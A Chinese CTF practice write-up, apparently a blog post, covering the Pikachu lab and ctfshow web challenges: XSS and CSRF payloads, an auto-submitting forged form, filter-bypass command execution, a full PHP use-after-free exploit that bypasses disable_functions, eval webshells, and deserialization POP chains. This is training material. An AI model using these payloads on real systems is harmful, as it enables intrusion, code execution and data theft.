ctf练习7

皮卡丘靶场通关

XSS之htmlspecialchars

php的htmlspecialchars() 函数就是把预定义的字符转换为 HTML 实体。

&(和号)成为&amp
"(双引号)成为&quot
'(单引号)成为&#039
<(小于)成为&lt
‘>’(大于)成为&gt

输入一些特殊字符,
在这里插入图片描述
查看网页源代码
在这里插入图片描述
发现除了’,其余的都被转义了,那我们进行闭合单引号
' onclick=alert(1)
点击一下这个标签
在这里插入图片描述

XSS之href

输入一串特殊字符
在这里插入图片描述
所有的特殊字符都被转义
javascript:alert(1);

<a href=javascript:alert(1);>test</a>

在这里插入图片描述

XSS之JS输出

构造payload

tmac';alert(1);//

payload填入原输出位置就会变成

 <script>
    $ms='tmac';alert(1);//';
	......
 </script>

CSRF

CSRF和XSS区别

  • CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限
  • XSS是直接盗取到了用户的权限,然后实施破坏。

网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:

  • 对敏感信息的操作增加安全的token;
  • 对敏感信息的操作增加安全的验证码;
  • 对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

CSRF(get)

首先我们在提示里面拿到账号密码,登录进去
在这里插入图片描述
这个时候修改个人信息,简单修改下信息,然后提交
在这里插入图片描述

这时候肉眼看不到url的变化,但是抓包可以
在这里插入图片描述
我们可以对其进行修改,那么就能成功更改别人资料了。修改完后

  • 放包即可看见修改
  • 新地址放进url里面
  • 当然也可以对链接进行修饰,生成短链接
    短链接网址
    在这里插入图片描述

CSRF(post)

可以自己,建一个表单,让被攻击者点恶意站点表单的URL
通过表单的URL去向存在CSRF漏洞的页面去提交POST请求

<!DOCTYPE html>
<html>
<head lang="en">
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
 </script>
</head>
<body>
       <form action="http://localhost/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
       	 <input type="text" name="sex" value="1"><br>
       	 <input type="hidden" name="phonenum" value="hacker"><br>
       	 <input type="hidden" name="add" value="china"><br>
       	 <input type="hidden" name="email" value="hacker"><br>
       	 <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>

</html>

CSRF防范(Token)

使用token是防备很多web漏洞的一个常用方法

我们来看看源码,修改用户信息时,服务器会比较url中的token字段和session中的token字段,如果相同才能修改用户信息。修改完用户信息之后,会用set_token()函数生成新的token,将其返回到html表单中并隐藏起来,以便下次用户修改信息时代入url。
在这里插入图片描述
在这里插入图片描述
set_token()函数如下图所示,在生成新token之前会先销毁老token,避免token重复使用
在这里插入图片描述

在这里插入图片描述

命令执行

web56 无字母数字RCE

在这里插入图片描述
这里是无字母数字的命令执行,先构造一个文件上传

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://c7558614-8d66-4605-b5b3-e6750decfac1.challenge.ctf.show/" method="post" enctype="multipart/form-data">
        <p><input type="file" name="file"></p>
        <p><input type="submit" value="submit"></p>
    </form>
</body>
</html>

随便上传一个文件
在这里插入图片描述
进行抓包
在这里插入图片描述
1,无字母无数字RCE先.%20
[@-[] 匹配大写字母
2,往里面输入内容看里面有没有回显
在这里插入图片描述
查看目录
在这里插入图片描述
捕获flag(因为直接抓不到,那就去根目录里面找)
在这里插入图片描述

web57 特殊符号代替数字

在这里插入图片描述
这道题连.都过滤了,其实仔细看看题,发现只要输进去36就行。如何输进去数字呢?在linux里面试试
在这里插入图片描述
发现$((~$(())))是-1,$(($(())))是0.那么我们可以输入36次在取反
在这里插入图片描述
这个时候在地址栏输入,最后打开源代码
在这里插入图片描述

web58 文件读取

在这里插入图片描述

先看看能不能读取目录,可以看到是被禁了

在这里插入图片描述
那么我们试试文件读取,看看是否被禁(盲猜flag.php)
c=echo file_get_contents('flag.php');

web 59-65[post] 用include进行文件读取(base64)

方法一

在这里插入图片描述
在这里插入图片描述

base64读取
1=php://filter/convert.base64-encode/resource=flag.php

方法二

c=highlight_file('flag.php');
c=echo file_get_contents('flag.php');
c=show_source('flag.php')

web 66-67

首先输入
c=highlight_file('flag.php');

在这里插入图片描述
发现没有报错,但是不在这里,那是不是名字改了呢?我们看看目录
c=var_dump(scandir('.'));查看当前目录
c=var_dump(scandir('../'));查看上一级目录
c=var_dump(scandir('/'));查看根目录1
c=print_r(scandir('/'));查看根目录2
在这里插入图片描述
找到了,我们执行(注意是根目录里的)
c=highlight_file('/flag.txt');

web 68

c=var_dump(scandir('/'));查看根目录发现flag.txt
前面几种函数都不能用了,那我们试一下include
c=include('/flag.txt');因为这里不是php,html可以默认输出

web 71

在这里插入图片描述

  • ob_get_contents() 只是得到输出缓冲区的内容,但不清除它。
  • ob_end_clean () 清空(擦除)缓冲区并关闭输出缓冲
    在这里插入图片描述
    退出就完了

web72

借助一个脚本(通过php的垃圾回收绕过 )

<?php

function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

先将脚本放在c=后面(记得删除<?php ?>),然后对内容进行URLencode。

web73

查看一下文件名
过滤了var_dump,print_f,那我们试试别的
c=var_export(scandir("/"));exit();
得到是flagc.txt
c=include("/flagc.txt");exit();

web 74

读取文件
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
得到flagx.txt
c=include("/flagc.txt");exit();

web 75,76

读取文件
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
SQL语句来读文件绕过open_basedir和disable_function

c=

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

序列化serialize()

序列化说通俗点就是把一个对象变成可以传输的字符串

 class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化
    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

反序列化unserialize()

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

  $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
  • 如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题
    常见的魔法方法
 __construct()当一个对象创建时被调用
 __destruct()当一个对象销毁时被调用
 __toString()当一个对象被当作一个字符串使用
 __sleep() 在对象在被序列化之前运行
 __wakeup 将在序列化之后立即被调用

web254

在这里插入图片描述

?username=xxxxxx && password=xxxxxx

web255

在这里插入图片描述

  • 这里与上题相比,$isVip一直是false,那么我们先改成true
  • 最后输出,要记得编码,因为这里面既有public又有private,private里面是有不可见字符的
  • new这个类
  • 需要序列化以后才能进行url编码
  • 所以我们把源码放本地修改
<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

echo urlencode(serialize(new ctfShowUser()))
?>

得到一串编码

打开谷歌浏览器->检查->Aplication
将user传入cookie
在这里插入图片描述
最后以get方式输出username和password
也可以用抓包,在requests里面放Cookie

web256

在这里插入图片描述

  • 判断1:username和password都存在
  • 判断2: 要能登录成功
  • 判断3: isVIP要为True
  • 判断4:username!==password(弱类型)
  • 放进本地修改
<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=true;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

echo urlencode(serialize(new ctfShowUser()))
?>

在这里插入图片描述

web 257

在这里插入图片描述

  • 在反序列化结束,会调用getInfo方法不过是info里面的,改成backDoor
  • 对code进行初始化
  • private $isVip=false;下面没有判断,所以可以不用改
  • __destruct()销毁时自动调用
  • __construct():使用关键字new实例化对象时会自动调用构造方法
<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;//下面没有判断,所以可以不用改
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();//可以改成调用backDoor
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){//销毁时自动调用
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='eval($_POST[1])';//初始化
    public function getInfo(){
        eval($this->code);
    }
}

echo urlencode(serialize(new ctfShowUser()))
?>

在这里插入图片描述
我们可以用RCE来做这个题了
捕捉flag,查目录
在这里插入图片描述
尝试cat,发现做不出来,那么换tac
在这里插入图片描述

web258

在这里插入图片描述
放进本地序列化一下,这里正则是说不能出现O:数字,那么我们序列后看看出现数字的情况进行绕过

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;//下面没有判断,所以可以不用改
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();//可以改成调用backDoor
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){//销毁时自动调用
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='eval($_POST[1]);';//初始化
    public function getInfo(){
        eval($this->code);
    }
}

$a=serialize(new ctfShowUser());
echo $a;

?>

在这里插入图片描述
出现了两个数字
/[oc]:\d+:/i
[oc]:表示的就是o:或者c:
将这两个数字绕过:前面是+

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
 
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
 
}
 
class backDoor{
    public $code='system("tac ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
$c=serialize(new ctfShowUser);
$b=str_replace(':11',':+11',$c);
$b=str_replace(':8',':+8',$b);

echo(urlencode($b));
?>
  • 这里直接在code进行抓捕flag 在这里插入图片描述

web259

web260

在这里插入图片描述
这题跟反序列化没啥关系

?ctfshow=ctfshow_i_love_36D

web 261

<?php
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}

$a= new ctfshowvip('877.php','<?php eval($_POST[a]);?>');
echo urlencode(serialize($a));
?>

因为0x36d== 877a(弱类型比较,自然也==877.php)
然后我们传入一句话木马
在这里插入图片描述
a=system('ls /');
a=system('cat /flag_is_here');

[MRCTF2020]Ezpop

考点:pop链
具体参考这篇文章
思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier类中的append()方法中,因为里面有个include可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier类中的__invoke()调用了append(),然后在Test类中的__get()返回的是$function(),可以调用__invoke(),再往前Show类中的__toString()可以调用__get(),然后在Show类中的__wakeup()中有一个正则匹配,可以调用__toString(),然后当我们传入字符串,反序列化之后最先进入的就是__wakeup(),这样子头和尾就连上了

<!-- show __wakeup
Show __tostring
Test __get
Modifier __invoke
因为__invoke直接调用append,所以对append不进行改变
 -->
<?php
class Modifier{
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a=new show();
$b=new show();
$c=new Test();
$d=new Modifier();
$a->source=$b;
$b->str=$c;
$c->p=$d;
echo urlencode(serialize($a));
?>
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
回答: CTFsql注入练习题是一种用于训练和测试SQL注入技巧的题目。在这些题目中,参与者需要通过注入恶意的SQL代码来绕过应用程序的安全机制,从而获取敏感信息或者执行未授权的操作。这些题目通常包含了不同的注入场景和技巧,例如基于时间的盲注、报错注入、布尔盲注、宽字节注入等等。参与者需要通过分析应用程序的行为和结构,构造合适的注入语句来实现攻击目标。在解决这些题目的过程中,参与者可以提高对SQL注入漏洞的理解和掌握,并学习如何防范和修复这类漏洞。 #### 引用[.reference_title] - *1* *2* [CTF-SQL注入入门题型](https://blog.csdn.net/weixin_43080961/article/details/121939366)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [i 春秋 CTF训练营 web——SQL注入 1(字符型注入)(手动注入)](https://blog.csdn.net/AAAAAAAAAAAA66/article/details/121626527)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值